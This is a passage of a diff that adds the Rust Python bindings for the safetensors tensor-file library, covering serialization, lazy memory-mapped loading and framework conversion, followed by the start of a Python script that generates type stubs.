+use std::iter::FromIterator; +use std::ops::Bound; +use std::path::PathBuf; +use std::sync::Arc; + +static TORCH_MODULE: GILOnceCell> = GILOnceCell::new(); +static NUMPY_MODULE: GILOnceCell> = GILOnceCell::new(); +static TENSORFLOW_MODULE: GILOnceCell> = GILOnceCell::new(); +static FLAX_MODULE: GILOnceCell> = GILOnceCell::new(); + +fn prepare(tensor_dict: HashMap) -> PyResult>> { + let mut tensors = HashMap::with_capacity(tensor_dict.len()); + for (tensor_name, tensor_desc) in tensor_dict { + let mut shape: Option> = None; + let mut dtype: Option = None; + let mut data: Option<&[u8]> = None; + for (key, value) in tensor_desc { + let key: &str = key.extract()?; + match key { + "shape" => shape = value.extract()?, + "dtype" => { + let value: &str = value.extract()?; + dtype = match value { + "bool" => Some(Dtype::BOOL), + "int8" => Some(Dtype::I8), + "uint8" => Some(Dtype::U8), + "int16" => Some(Dtype::I16), + "uint16" => Some(Dtype::U16), + "int32" => Some(Dtype::I32), + "uint32" => Some(Dtype::U32), + "int64" => Some(Dtype::I64), + "uint64" => Some(Dtype::U64), + "float16" => Some(Dtype::F16), + "float32" => Some(Dtype::F32), + "float64" => Some(Dtype::F64), + "bfloat16" => Some(Dtype::BF16), + dtype_str => { + return Err(SafetensorError::new_err(format!( + "dtype {dtype_str} is not covered", + ))); + } + } + } + "data" => data = value.extract()?, + _ => println!("Ignored unknown kwarg option {key}"), + }; + } + let shape = shape.ok_or_else(|| { + SafetensorError::new_err(format!("Missing `shape` in {tensor_desc:?}")) + })?; + let dtype = dtype.ok_or_else(|| { + SafetensorError::new_err(format!("Missing `dtype` in {tensor_desc:?}")) + })?; + let data = data.ok_or_else(|| { + SafetensorError::new_err(format!("Missing `data` in {tensor_desc:?}")) + })?; + let tensor = TensorView::new(dtype, shape, data) + .map_err(|e| SafetensorError::new_err(format!("Error preparing tensor view: {e:?}")))?; + tensors.insert(tensor_name, tensor); + } + Ok(tensors) +} + +/// Serializes raw data. +/// +/// Args: +/// tensor_dict (`Dict[str, Dict[Any]]`): +/// The tensor dict is like: +/// {"tensor_name": {"dtype": "F32", "shape": [2, 3], "data": b"\0\0"}} +/// metadata (`Dict[str, str]`, *optional*): +/// The optional purely text annotations +/// +/// Returns: +/// (`bytes`): +/// The serialized content. +#[pyfunction] +#[pyo3(text_signature = "(tensor_dict, metadata=None)")] +fn serialize<'b>( + py: Python<'b>, + tensor_dict: HashMap, + metadata: Option>, +) -> PyResult<&'b PyBytes> { + let tensors = prepare(tensor_dict)?; + let metadata_map = metadata.map(HashMap::from_iter); + let out = safetensors::tensor::serialize(&tensors, &metadata_map) + .map_err(|e| SafetensorError::new_err(format!("Error while serializing: {e:?}")))?; + let pybytes = PyBytes::new(py, &out); + Ok(pybytes) +} + +/// Serializes raw data. +/// +/// Args: +/// tensor_dict (`Dict[str, Dict[Any]]`): +/// The tensor dict is like: +/// {"tensor_name": {"dtype": "F32", "shape": [2, 3], "data": b"\0\0"}} +/// filename (`str`, or `os.PathLike`): +/// The name of the file to write into. +/// metadata (`Dict[str, str]`, *optional*): +/// The optional purely text annotations +/// +/// Returns: +/// (`bytes`): +/// The serialized content. +#[pyfunction] +#[pyo3(text_signature = "(tensor_dict, filename, metadata=None)")] +fn serialize_file( + tensor_dict: HashMap, + filename: PathBuf, + metadata: Option>, +) -> PyResult<()> { + let tensors = prepare(tensor_dict)?; + safetensors::tensor::serialize_to_file(&tensors, &metadata, filename.as_path()) + .map_err(|e| SafetensorError::new_err(format!("Error while serializing: {e:?}")))?; + Ok(()) +} + +/// Opens a safetensors lazily and returns tensors as asked +/// +/// Args: +/// data (`bytes`): +/// The byte content of a file +/// +/// Returns: +/// (`List[str, Dict[str, Dict[str, any]]]`): +/// The deserialized content is like: +/// [("tensor_name", {"shape": [2, 3], "dtype": "F32", "data": b"\0\0.." }), (...)] +#[pyfunction] +#[pyo3(text_signature = "(bytes)")] +fn deserialize(py: Python, bytes: &[u8]) -> PyResult)>> { + let safetensor = SafeTensors::deserialize(bytes) + .map_err(|e| SafetensorError::new_err(format!("Error while deserializing: {e:?}")))?; + + let tensors = safetensor.tensors(); + let mut items = Vec::with_capacity(tensors.len()); + + for (tensor_name, tensor) in tensors { + let pyshape: PyObject = PyList::new(py, tensor.shape().iter()).into(); + let pydtype: PyObject = format!("{:?}", tensor.dtype()).into_py(py); + + let pydata: PyObject = PyByteArray::new(py, tensor.data()).into(); + + let map = HashMap::from([ + ("shape".to_string(), pyshape), + ("dtype".to_string(), pydtype), + ("data".to_string(), pydata), + ]); + items.push((tensor_name, map)); + } + Ok(items) +} + +fn slice_to_indexer(slice: &PySlice) -> Result { + let py_start = slice.getattr(intern!(slice.py(), "start"))?; + let start: Option = py_start.extract()?; + let start = if let Some(start) = start { + Bound::Included(start) + } else { + Bound::Unbounded + }; + + let py_stop = slice.getattr(intern!(slice.py(), "stop"))?; + let stop: Option = py_stop.extract()?; + let stop = if let Some(stop) = stop { + Bound::Excluded(stop) + } else { + Bound::Unbounded + }; + + Ok(TensorIndexer::Narrow(start, stop)) +} + +#[derive(Debug, Clone, PartialEq, Eq)] +enum Framework { + Pytorch, + Numpy, + Tensorflow, + Flax, +} + +impl<'source> FromPyObject<'source> for Framework { + fn extract(ob: &'source PyAny) -> PyResult { + let name: String = ob.extract()?; + match &name[..] { + "pt" => Ok(Framework::Pytorch), + "torch" => Ok(Framework::Pytorch), + "pytorch" => Ok(Framework::Pytorch), + + "np" => Ok(Framework::Numpy), + "numpy" => Ok(Framework::Numpy), + + "tf" => Ok(Framework::Tensorflow), + "tensorflow" => Ok(Framework::Tensorflow), + + "jax" => Ok(Framework::Flax), + "flax" => Ok(Framework::Flax), + name => Err(SafetensorError::new_err(format!( + "framework {name} is invalid" + ))), + } + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +enum Device { + Cpu, + Cuda(usize), + Mps, +} + +impl<'source> FromPyObject<'source> for Device { + fn extract(ob: &'source PyAny) -> PyResult { + if let Ok(name) = ob.extract::() { + match &name[..] { + "cpu" => Ok(Device::Cpu), + "cuda" => Ok(Device::Cuda(0)), + "mps" => Ok(Device::Mps), + name if name.starts_with("cuda:") => { + let tokens: Vec<_> = name.split(':').collect(); + if tokens.len() == 2 { + let device: usize = tokens[1].parse()?; + Ok(Device::Cuda(device)) + } else { + Err(SafetensorError::new_err(format!( + "device {name} is invalid" + ))) + } + } + name => Err(SafetensorError::new_err(format!( + "device {name} is invalid" + ))), + } + } else if let Ok(number) = ob.extract::() { + Ok(Device::Cuda(number)) + } else { + Err(SafetensorError::new_err(format!("device {ob} is invalid"))) + } + } +} + +impl IntoPy for Device { + fn into_py(self, py: Python<'_>) -> PyObject { + match self { + Device::Cpu => "cpu".into_py(py), + Device::Cuda(n) => format!("cuda:{n}").into_py(py), + Device::Mps => "mps".into_py(py), + } + } +} + +enum Storage { + Mmap(Mmap), + /// Torch specific mmap + /// This allows us to not manage it + /// so Pytorch can handle the whole lifecycle. + /// https://pytorch.org/docs/stable/storage.html#torch.TypedStorage.from_file. + TorchStorage(GILOnceCell), +} + +#[derive(Debug, PartialEq, Eq, PartialOrd)] +struct Version { + major: u8, + minor: u8, + patch: u8, +} + +impl Version { + fn new(major: u8, minor: u8, patch: u8) -> Self { + Self { + major, + minor, + patch, + } + } + + fn from_string(string: &str) -> Result { + let mut parts = string.split('.'); + let err = || format!("Could not parse torch package version {string}."); + let major_str = parts.next().ok_or_else(err)?; + let minor_str = parts.next().ok_or_else(err)?; + let patch_str = parts.next().ok_or_else(err)?; + // Patch is more complex and can be: + // - `1` a number + // - `1a0`, `1b0`, `1rc1` an alpha, beta, release candidate version + // - `1a0+git2323` from source with commit number + let patch_str: String = patch_str + .chars() + .take_while(|c| c.is_ascii_digit()) + .collect(); + + let major = major_str.parse().map_err(|_| err())?; + let minor = minor_str.parse().map_err(|_| err())?; + let patch = patch_str.parse().map_err(|_| err())?; + Ok(Version { + major, + minor, + patch, + }) + } +} + +struct Open { + metadata: Metadata, + offset: usize, + framework: Framework, + device: Device, + storage: Arc, +} + +impl Open { + fn new(filename: PathBuf, framework: Framework, device: Option) -> PyResult { + let file = File::open(&filename).map_err(|_| { + PyFileNotFoundError::new_err(format!("No such file or directory: {filename:?}")) + })?; + let device = device.unwrap_or(Device::Cpu); + + if device != Device::Cpu && framework != Framework::Pytorch { + return Err(SafetensorError::new_err(format!( + "Device {device:?} is not support for framework {framework:?}", + ))); + } + + // SAFETY: Mmap is used to prevent allocating in Rust + // before making a copy within Python. + let buffer = unsafe { MmapOptions::new().map(&file)? }; + + let (n, metadata) = SafeTensors::read_metadata(&buffer).map_err(|e| { + SafetensorError::new_err(format!("Error while deserializing header: {e:?}")) + })?; + + let offset = n + 8; + + Python::with_gil(|py| -> PyResult<()> { + match framework { + Framework::Pytorch => { + let module = PyModule::import(py, intern!(py, "torch"))?; + TORCH_MODULE.get_or_init(py, || module.into()) + } + _ => { + let module = PyModule::import(py, intern!(py, "numpy"))?; + NUMPY_MODULE.get_or_init(py, || module.into()) + } + }; + + Ok(()) + })?; + + let storage = match &framework { + Framework::Pytorch => Python::with_gil(|py| -> PyResult { + let module = get_module(py, &TORCH_MODULE)?; + + let version: String = module.getattr(intern!(py, "__version__"))?.extract()?; + let version = Version::from_string(&version).map_err(SafetensorError::new_err)?; + + // Untyped storage only exists for versions over 1.11.0 + // Same for torch.asarray which is necessary for zero-copy tensor + if version >= Version::new(1, 11, 0) { + // storage = torch.ByteStorage.from_file(filename, shared=False, size=size).untyped() + let py_filename: PyObject = filename.into_py(py); + let size: PyObject = buffer.len().into_py(py); + let shared: PyObject = false.into_py(py); + let (size_name, storage_name) = if version >= Version::new(2, 0, 0) { + (intern!(py, "nbytes"), intern!(py, "UntypedStorage")) + } else { + (intern!(py, "size"), intern!(py, "ByteStorage")) + }; + + let kwargs = + [(intern!(py, "shared"), shared), (size_name, size)].into_py_dict(py); + let storage = module + .getattr(storage_name)? + .getattr(intern!(py, "from_file"))? + .call((py_filename,), Some(kwargs))?; + + let untyped: &PyAny = match storage.getattr(intern!(py, "untyped")) { + Ok(untyped) => untyped, + Err(_) => storage.getattr(intern!(py, "_untyped"))?, + }; + let storage = untyped.call0()?.into_py(py); + let gil_storage = GILOnceCell::new(); + gil_storage.get_or_init(py, || storage); + + Ok(Storage::TorchStorage(gil_storage)) + } else { + Ok(Storage::Mmap(buffer)) + } + })?, + _ => Storage::Mmap(buffer), + }; + + let storage = Arc::new(storage); + + Ok(Self { + metadata, + offset, + framework, + device, + storage, + }) + } + + /// Return the special non tensor information in the header + /// + /// Returns: + /// (`Dict[str, str]`): + /// The freeform metadata. + pub fn metadata(&self) -> Option> { + self.metadata.metadata().clone() + } + + /// Returns the names of the tensors in the file. + /// + /// Returns: + /// (`List[str]`): + /// The name of the tensors contained in that file + pub fn keys(&self) -> PyResult> { + let mut keys: Vec = self.metadata.tensors().keys().cloned().collect(); + keys.sort(); + Ok(keys) + } + + /// Returns a full tensor + /// + /// Args: + /// name (`str`): + /// The name of the tensor you want + /// + /// Returns: + /// (`Tensor`): + /// The tensor in the framework you opened the file for. + /// + /// Example: + /// ```python + /// from safetensors import safe_open + /// + /// with safe_open("model.safetensors", framework="pt", device=0) as f: + /// tensor = f.get_tensor("embedding") + /// + /// ``` + pub fn get_tensor(&self, name: &str) -> PyResult { + let info = self.metadata.info(name).ok_or_else(|| { + SafetensorError::new_err(format!("File does not contain tensor {name}",)) + })?; + // let info = tensors.get(name).ok_or_else(|| { + // SafetensorError::new_err(format!("File does not contain tensor {name}",)) + // })?; + + match &self.storage.as_ref() { + Storage::Mmap(mmap) => { + let data = + &mmap[info.data_offsets.0 + self.offset..info.data_offsets.1 + self.offset]; + + let array: PyObject = Python::with_gil(|py| PyByteArray::new(py, data).into_py(py)); + + create_tensor( + &self.framework, + info.dtype, + &info.shape, + array, + &self.device, + ) + } + Storage::TorchStorage(storage) => { + Python::with_gil(|py| -> PyResult { + let torch = get_module(py, &TORCH_MODULE)?; + let dtype: PyObject = get_pydtype(torch, info.dtype, false)?; + let torch_uint8: PyObject = get_pydtype(torch, Dtype::U8, false)?; + let kwargs = [(intern!(py, "dtype"), torch_uint8)].into_py_dict(py); + let view_kwargs = [(intern!(py, "dtype"), dtype)].into_py_dict(py); + let shape = info.shape.to_vec(); + let shape: PyObject = shape.into_py(py); + + let start = (info.data_offsets.0 + self.offset) as isize; + let stop = (info.data_offsets.1 + self.offset) as isize; + let slice = PySlice::new(py, start, stop, 1); + let storage: &PyObject = storage + .get(py) + .ok_or_else(|| SafetensorError::new_err("Could not find storage"))?; + let storage: &PyAny = storage.as_ref(py); + let storage_slice = storage + .getattr(intern!(py, "__getitem__"))? + .call1((slice,))?; + + let sys = PyModule::import(py, intern!(py, "sys"))?; + let byteorder: String = sys.getattr(intern!(py, "byteorder"))?.extract()?; + + let mut tensor = torch + .getattr(intern!(py, "asarray"))? + .call((storage_slice,), Some(kwargs))? + .getattr(intern!(py, "view"))? + .call((), Some(view_kwargs))?; + + if byteorder == "big" { + let inplace_kwargs = + [(intern!(py, "inplace"), false.into_py(py))].into_py_dict(py); + if info.dtype == Dtype::BF16 { + let torch_f16: PyObject = get_pydtype(torch, Dtype::F16, false)?; + tensor = tensor.getattr(intern!(py, "to"))?.call( + (), + Some([(intern!(py, "dtype"), torch_f16)].into_py_dict(py)), + )?; + } + + let numpy = tensor + .getattr(intern!(py, "numpy"))? + .call0()? + .getattr("byteswap")? + .call((), Some(inplace_kwargs))?; + tensor = torch.getattr(intern!(py, "from_numpy"))?.call1((numpy,))?; + + if info.dtype == Dtype::BF16 { + let torch_bf16: PyObject = get_pydtype(torch, Dtype::BF16, false)?; + tensor = tensor.getattr(intern!(py, "to"))?.call( + (), + Some([(intern!(py, "dtype"), torch_bf16)].into_py_dict(py)), + )?; + } + } + + tensor = tensor.getattr(intern!(py, "reshape"))?.call1((shape,))?; + if self.device != Device::Cpu { + let device: PyObject = self.device.clone().into_py(py); + let kwargs = PyDict::new(py); + tensor = tensor + .getattr(intern!(py, "to"))? + .call((device,), Some(kwargs))?; + } + Ok(tensor.into_py(py)) + // torch.asarray(storage[start + n : stop + n], dtype=torch.uint8).view(dtype=dtype).reshape(shape) + }) + } + } + } + + /// Returns a full slice view object + /// + /// Args: + /// name (`str`): + /// The name of the tensor you want + /// + /// Returns: + /// (`PySafeSlice`): + /// A dummy object you can slice into to get a real tensor + /// Example: + /// ```python + /// from safetensors import safe_open + /// + /// with safe_open("model.safetensors", framework="pt", device=0) as f: + /// tensor_part = f.get_slice("embedding")[:, ::8] + /// + /// ``` + pub fn get_slice(&self, name: &str) -> PyResult { + if let Some(&info) = self.metadata.tensors().get(name) { + Ok(PySafeSlice { + info: info.clone(), + framework: self.framework.clone(), + offset: self.offset, + device: self.device.clone(), + storage: self.storage.clone(), + }) + } else { + Err(SafetensorError::new_err(format!( + "File does not contain tensor {name}", + ))) + } + } +} + +/// Opens a safetensors lazily and returns tensors as asked +/// +/// Args: +/// filename (`str`, or `os.PathLike`): +/// The filename to open +/// +/// framework (`str`): +/// The framework you want you tensors in. Supported values: +/// `pt`, `tf`, `flax`, `numpy`. +/// +/// device (`str`, defaults to `"cpu"`): +/// The device on which you want the tensors. +#[pyclass] +#[allow(non_camel_case_types)] +struct safe_open { + inner: Option, +} + +impl safe_open { + fn inner(&self) -> PyResult<&Open> { + let inner = self + .inner + .as_ref() + .ok_or_else(|| SafetensorError::new_err("File is closed".to_string()))?; + Ok(inner) + } +} + +#[pymethods] +impl safe_open { + #[new] + #[pyo3(text_signature = "(self, filename, framework, device=\"cpu\")")] + fn new(filename: PathBuf, framework: Framework, device: Option) -> PyResult { + let inner = Some(Open::new(filename, framework, device)?); + Ok(Self { inner }) + } + + /// Return the special non tensor information in the header + /// + /// Returns: + /// (`Dict[str, str]`): + /// The freeform metadata. + pub fn metadata(&self) -> PyResult>> { + Ok(self.inner()?.metadata()) + } + + /// Returns the names of the tensors in the file. + /// + /// Returns: + /// (`List[str]`): + /// The name of the tensors contained in that file + pub fn keys(&self) -> PyResult> { + self.inner()?.keys() + } + + /// Returns a full tensor + /// + /// Args: + /// name (`str`): + /// The name of the tensor you want + /// + /// Returns: + /// (`Tensor`): + /// The tensor in the framework you opened the file for. + /// + /// Example: + /// ```python + /// from safetensors import safe_open + /// + /// with safe_open("model.safetensors", framework="pt", device=0) as f: + /// tensor = f.get_tensor("embedding") + /// + /// ``` + pub fn get_tensor(&self, name: &str) -> PyResult { + self.inner()?.get_tensor(name) + } + + /// Returns a full slice view object + /// + /// Args: + /// name (`str`): + /// The name of the tensor you want + /// + /// Returns: + /// (`PySafeSlice`): + /// A dummy object you can slice into to get a real tensor + /// Example: + /// ```python + /// from safetensors import safe_open + /// + /// with safe_open("model.safetensors", framework="pt", device=0) as f: + /// tensor_part = f.get_slice("embedding")[:, ::8] + /// + /// ``` + pub fn get_slice(&self, name: &str) -> PyResult { + self.inner()?.get_slice(name) + } + + pub fn __enter__(slf: Py) -> Py { + slf + } + + pub fn __exit__(&mut self, _exc_type: PyObject, _exc_value: PyObject, _traceback: PyObject) { + self.inner = None; + } +} + +#[pyclass] +struct PySafeSlice { + info: TensorInfo, + framework: Framework, + offset: usize, + device: Device, + storage: Arc, +} + +#[derive(FromPyObject)] +enum Slice<'a> { + // Index(usize), + Slice(&'a PySlice), + Slices(Vec<&'a PySlice>), +} + +#[pymethods] +impl PySafeSlice { + /// Returns the shape of the full underlying tensor + /// + /// Returns: + /// (`List[int]`): + /// The shape of the full tensor + /// + /// Example: + /// ```python + /// from safetensors import safe_open + /// + /// with safe_open("model.safetensors", framework="pt", device=0) as f: + /// tslice = f.get_slice("embedding") + /// shape = tslice.get_shape() + /// dim = shape // 8 + /// tensor = tslice[:, :dim] + /// ``` + pub fn get_shape(&self, py: Python) -> PyResult { + let shape = self.info.shape.clone(); + let shape: PyObject = shape.into_py(py); + Ok(shape) + } + + /// Returns the dtype of the full underlying tensor + /// + /// Returns: + /// (`str`): + /// The dtype of the full tensor + /// + /// Example: + /// ```python + /// from safetensors import safe_open + /// + /// with safe_open("model.safetensors", framework="pt", device=0) as f: + /// tslice = f.get_slice("embedding") + /// dtype = tslice.get_dtype() # "F32" + /// ``` + pub fn get_dtype(&self, py: Python) -> PyResult { + let dtype = self.info.dtype; + let dtype: PyObject = format!("{:?}", dtype).into_py(py); + Ok(dtype) + } + + pub fn __getitem__(&self, slices: Slice) -> PyResult { + let slices: Vec<&PySlice> = match slices { + Slice::Slice(slice) => vec![slice], + Slice::Slices(slices) => slices, + }; + + match &self.storage.as_ref() { + Storage::Mmap(mmap) => { + let data = &mmap[self.info.data_offsets.0 + self.offset + ..self.info.data_offsets.1 + self.offset]; + + let tensor = TensorView::new(self.info.dtype, self.info.shape.clone(), data) + .map_err(|e| { + SafetensorError::new_err(format!("Error preparing tensor view: {e:?}")) + })?; + let slices: Vec = slices + .into_iter() + .map(slice_to_indexer) + .collect::>()?; + + let iterator = tensor.sliced_data(&slices).map_err(|e| { + SafetensorError::new_err(format!( + "Error during slicing {slices:?} vs {:?}: {:?}", + self.info.shape, e + )) + })?; + let newshape = iterator.newshape(); + + let mut offset = 0; + let length = iterator.remaining_byte_len(); + + Python::with_gil(|py| { + let array: PyObject = + PyByteArray::new_with(py, length, |bytes: &mut [u8]| { + for slice in iterator { + let len = slice.len(); + bytes[offset..offset + slice.len()].copy_from_slice(slice); + offset += len; + } + Ok(()) + })? + .into_py(py); + create_tensor( + &self.framework, + self.info.dtype, + &newshape, + array, + &self.device, + ) + }) + } + Storage::TorchStorage(storage) => Python::with_gil(|py| -> PyResult { + let torch = get_module(py, &TORCH_MODULE)?; + let dtype: PyObject = get_pydtype(torch, self.info.dtype, false)?; + let torch_uint8: PyObject = get_pydtype(torch, Dtype::U8, false)?; + let kwargs = [(intern!(py, "dtype"), torch_uint8)].into_py_dict(py); + let view_kwargs = [(intern!(py, "dtype"), dtype)].into_py_dict(py); + let shape = self.info.shape.to_vec(); + let shape: PyObject = shape.into_py(py); + + let start = (self.info.data_offsets.0 + self.offset) as isize; + let stop = (self.info.data_offsets.1 + self.offset) as isize; + let slice = PySlice::new(py, start, stop, 1); + let storage: &PyObject = storage + .get(py) + .ok_or_else(|| SafetensorError::new_err("Could not find storage"))?; + let storage: &PyAny = storage.as_ref(py); + + let storage_slice = storage + .getattr(intern!(py, "__getitem__"))? + .call1((slice,))?; + + let slices = slices.into_py(py); + + let sys = PyModule::import(py, intern!(py, "sys"))?; + let byteorder: String = sys.getattr(intern!(py, "byteorder"))?.extract()?; + + let mut tensor = torch + .getattr(intern!(py, "asarray"))? + .call((storage_slice,), Some(kwargs))? + .getattr(intern!(py, "view"))? + .call((), Some(view_kwargs))?; + if byteorder == "big" { + let inplace_kwargs = + [(intern!(py, "inplace"), false.into_py(py))].into_py_dict(py); + + let numpy = tensor + .getattr(intern!(py, "numpy"))? + .call0()? + .getattr("byteswap")? + .call((), Some(inplace_kwargs))?; + tensor = torch.getattr(intern!(py, "from_numpy"))?.call1((numpy,))?; + } + tensor = tensor + .getattr(intern!(py, "reshape"))? + .call1((shape,))? + .getattr(intern!(py, "__getitem__"))? + .call1((slices,))?; + if self.device != Device::Cpu { + let device: PyObject = self.device.clone().into_py(py); + let kwargs = PyDict::new(py); + tensor = tensor + .getattr(intern!(py, "to"))? + .call((device,), Some(kwargs))?; + } + Ok(tensor.into_py(py)) + }), + } + } +} + +fn get_module<'a>( + py: Python<'a>, + cell: &'static GILOnceCell>, +) -> PyResult<&'a PyModule> { + let module: &PyModule = cell + .get(py) + .ok_or_else(|| SafetensorError::new_err("Could not find module"))? + .as_ref(py); + Ok(module) +} + +fn create_tensor( + framework: &Framework, + dtype: Dtype, + shape: &[usize], + array: PyObject, + device: &Device, +) -> PyResult { + Python::with_gil(|py| -> PyResult { + let (module, is_numpy): (&PyModule, bool) = match framework { + Framework::Pytorch => ( + TORCH_MODULE + .get(py) + .ok_or_else(|| { + SafetensorError::new_err(format!("Could not find module {framework:?}",)) + })? + .as_ref(py), + false, + ), + _ => ( + NUMPY_MODULE + .get(py) + .ok_or_else(|| { + SafetensorError::new_err(format!("Could not find module {framework:?}",)) + })? + .as_ref(py), + true, + ), + }; + let dtype: PyObject = get_pydtype(module, dtype, is_numpy)?; + let count: usize = shape.iter().product(); + let shape = shape.to_vec(); + let shape: PyObject = shape.into_py(py); + let tensor = if count == 0 { + // Torch==1.10 does not allow frombuffer on empty buffers so we create + // the tensor manually. + let zeros = module.getattr(intern!(py, "zeros"))?; + let args = (shape.clone(),); + let kwargs = [(intern!(py, "dtype"), dtype)].into_py_dict(py); + zeros.call(args, Some(kwargs))? + } else { + let frombuffer = module.getattr(intern!(py, "frombuffer"))?; + let kwargs = [ + (intern!(py, "buffer"), array), + (intern!(py, "dtype"), dtype), + ] + .into_py_dict(py); + frombuffer.call((), Some(kwargs))? + }; + let mut tensor: &PyAny = tensor.getattr(intern!(py, "reshape"))?.call1((shape,))?; + let tensor = match framework { + Framework::Flax => { + let module = Python::with_gil(|py| -> PyResult<&Py> { + let module = PyModule::import(py, intern!(py, "jax"))?; + Ok(FLAX_MODULE.get_or_init(py, || module.into())) + })? + .as_ref(py); + module + .getattr(intern!(py, "numpy"))? + .getattr(intern!(py, "array"))? + .call1((tensor,))? + } + Framework::Tensorflow => { + let module = Python::with_gil(|py| -> PyResult<&Py> { + let module = PyModule::import(py, intern!(py, "tensorflow"))?; + Ok(TENSORFLOW_MODULE.get_or_init(py, || module.into())) + })? + .as_ref(py); + module + .getattr(intern!(py, "convert_to_tensor"))? + .call1((tensor,))? + } + Framework::Pytorch => { + if device != &Device::Cpu { + let device: PyObject = device.clone().into_py(py); + let kwargs = PyDict::new(py); + tensor = tensor + .getattr(intern!(py, "to"))? + .call((device,), Some(kwargs))?; + } + tensor + } + _ => tensor, + }; + let tensor = tensor.into_py(py); + Ok(tensor) + }) +} + +fn get_pydtype(module: &PyModule, dtype: Dtype, is_numpy: bool) -> PyResult { + Python::with_gil(|py| { + let dtype: PyObject = match dtype { + Dtype::F64 => module.getattr(intern!(py, "float64"))?.into(), + Dtype::F32 => module.getattr(intern!(py, "float32"))?.into(), + Dtype::BF16 => module.getattr(intern!(py, "bfloat16"))?.into(), + Dtype::F16 => module.getattr(intern!(py, "float16"))?.into(), + Dtype::U64 => module.getattr(intern!(py, "uint64"))?.into(), + Dtype::I64 => module.getattr(intern!(py, "int64"))?.into(), + Dtype::U32 => module.getattr(intern!(py, "uint32"))?.into(), + Dtype::I32 => module.getattr(intern!(py, "int32"))?.into(), + Dtype::U16 => module.getattr(intern!(py, "uint16"))?.into(), + Dtype::I16 => module.getattr(intern!(py, "int16"))?.into(), + Dtype::U8 => module.getattr(intern!(py, "uint8"))?.into(), + Dtype::I8 => module.getattr(intern!(py, "int8"))?.into(), + Dtype::BOOL => { + if is_numpy { + py.import("builtins")?.getattr(intern!(py, "bool"))?.into() + } else { + module.getattr(intern!(py, "bool"))?.into() + } + } + dtype => { + return Err(SafetensorError::new_err(format!( + "Dtype not understood: {dtype:?}" + ))) + } + }; + Ok(dtype) + }) +} + +pyo3::create_exception!( + safetensors_rust, + SafetensorError, + PyException, + "Custom Python Exception for Safetensor errors." +); + +/// A Python module implemented in Rust. +#[pymodule] +fn _safetensors_rust(py: Python, m: &PyModule) -> PyResult<()> { + m.add_function(wrap_pyfunction!(serialize, m)?)?; + m.add_function(wrap_pyfunction!(serialize_file, m)?)?; + m.add_function(wrap_pyfunction!(deserialize, m)?)?; + m.add_class::()?; + m.add("SafetensorError", py.get_type::())?; + m.add("__version__", env!("CARGO_PKG_VERSION"))?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn version_parse() { + let torch_version = "1.1.1"; + let version = Version::from_string(torch_version).unwrap(); + assert_eq!(version, Version::new(1, 1, 1)); + + let torch_version = "2.0.0a0+gitd1123c9"; + let version = Version::from_string(torch_version).unwrap(); + assert_eq!(version, Version::new(2, 0, 0)); + + let torch_version = "something"; + let version = Version::from_string(torch_version); + assert!(version.is_err()); + } +} diff --git a/extensions/safetensors/bindings/python/stub.py b/extensions/safetensors/bindings/python/stub.py new file mode 100644 index 0000000000000000000000000000000000000000..340fda55a0d10fe80c82e4ae90a5ace5a09c5c7b --- /dev/null +++ b/extensions/safetensors/bindings/python/stub.py @@ -0,0 +1,187 @@ +import argparse +import inspect +import os + +import black + + +INDENT = " " * 4 +GENERATED_COMMENT = "# Generated content DO NOT EDIT\n" + + +def do_indent(text: str, indent: str): + return text.replace("\n", f"\n{indent}") + + +def function(obj, indent, text_signature=None): + if text_signature is None: + text_signature = obj.__text_signature__ + string = "" + string += f"{indent}def {obj.__name__}{text_signature}:\n" + indent += INDENT + string += f'{indent}"""\n' + string += f"{indent}{do_indent(obj.__doc__, indent)}\n" + string += f'{indent}"""\n' + string += f"{indent}pass\n" + string += "\n" + string += "\n" + return string + + +def member_sort(member): + if inspect.isclass(member): + value = 10 + len(inspect.getmro(member)) + else: + value = 1 + return value + + +def fn_predicate(obj): + value = inspect.ismethoddescriptor(obj) or inspect.isbuiltin(obj) + if value: + return obj.__doc__ and obj.__text_signature__ and not obj.__name__.startswith("_") + if inspect.isgetsetdescriptor(obj): + return obj.__doc__ and not obj.__name__.startswith("_") + return False + + +def get_module_members(module): + members = [ + member + for name, member in inspect.getmembers(module) + if not name.startswith("_") and not inspect.ismodule(member) + ] + members.sort(key=member_sort) + return members + + +def pyi_file(obj, indent=""): + string = "" + if inspect.ismodule(obj): + string += GENERATED_COMMENT + members = get_module_members(obj) + for member in members: + string += pyi_file(member, indent) + + elif inspect.isclass(obj): + indent += INDENT + mro = inspect.getmro(obj) + if len(mro) > 2: + inherit = f"({mro[1].__name__})" + else: + inherit = "" + string += f"class {obj.__name__}{inherit}:\n" + + body = "" + if obj.__doc__: + body += f'{indent}"""\n{indent}{do_indent(obj.__doc__, indent)}\n{indent}"""\n' + + fns = inspect.getmembers(obj, fn_predicate) + + # Init + if obj.__text_signature__: + body += f"{indent}def __init__{obj.__text_signature__}:\n" + body += f"{indent+INDENT}pass\n" + body += "\n" + + for (name, fn) in fns: + body += pyi_file(fn, indent=indent) + + if not body: + body += f"{indent}pass\n" + + string += body + string += "\n\n" + + elif inspect.isbuiltin(obj): + string += f"{indent}@staticmethod\n" + string += function(obj, indent) + + elif inspect.ismethoddescriptor(obj): + string += function(obj, indent) + + elif inspect.isgetsetdescriptor(obj): + # TODO it would be interesing to add the setter maybe ? + string += f"{indent}@property\n" + string += function(obj, indent, text_signature="(self)") + else: + raise Exception(f"Object {obj} is not supported") + return string + + +def py_file(module, origin): + members = get_module_members(module) + + string = GENERATED_COMMENT + string += f"from .. import {origin}\n" + string += "\n" + for member in members: + name = member.__name__ + string += f"{name} = {origin}.{name}\n" + return string + + +def do_black(content, is_pyi): + mode = black.Mode( + target_versions={black.TargetVersion.PY35}, + line_length=119, + is_pyi=is_pyi, + string_normalization=True, + experimental_string_processing=False, + ) + try: + return black.format_file_contents(content, fast=True, mode=mode) + except black.NothingChanged: + return content + + +def write(module, directory, origin, check=False): + submodules = [(name, member) for name, member in inspect.getmembers(module) if inspect.ismodule(member)] + + filename = os.path.join(directory, "__init__.pyi") + pyi_content = pyi_file(module) + pyi_content = do_black(pyi_content, is_pyi=True) + os.makedirs(directory, exist_ok=True) + if check: + with open(filename, "r") as f: + data = f.read() + assert data == pyi_content, f"The content of {filename} seems outdated, please run `python stub.py`" + else: + with open(filename, "w") as f: + f.write(pyi_content) + + filename = os.path.join(directory, "__init__.py") + py_content = py_file(module, origin) + py_content = do_black(py_content, is_pyi=False) + os.makedirs(directory, exist_ok=True) + + is_auto = False + if not os.path.exists(filename): + 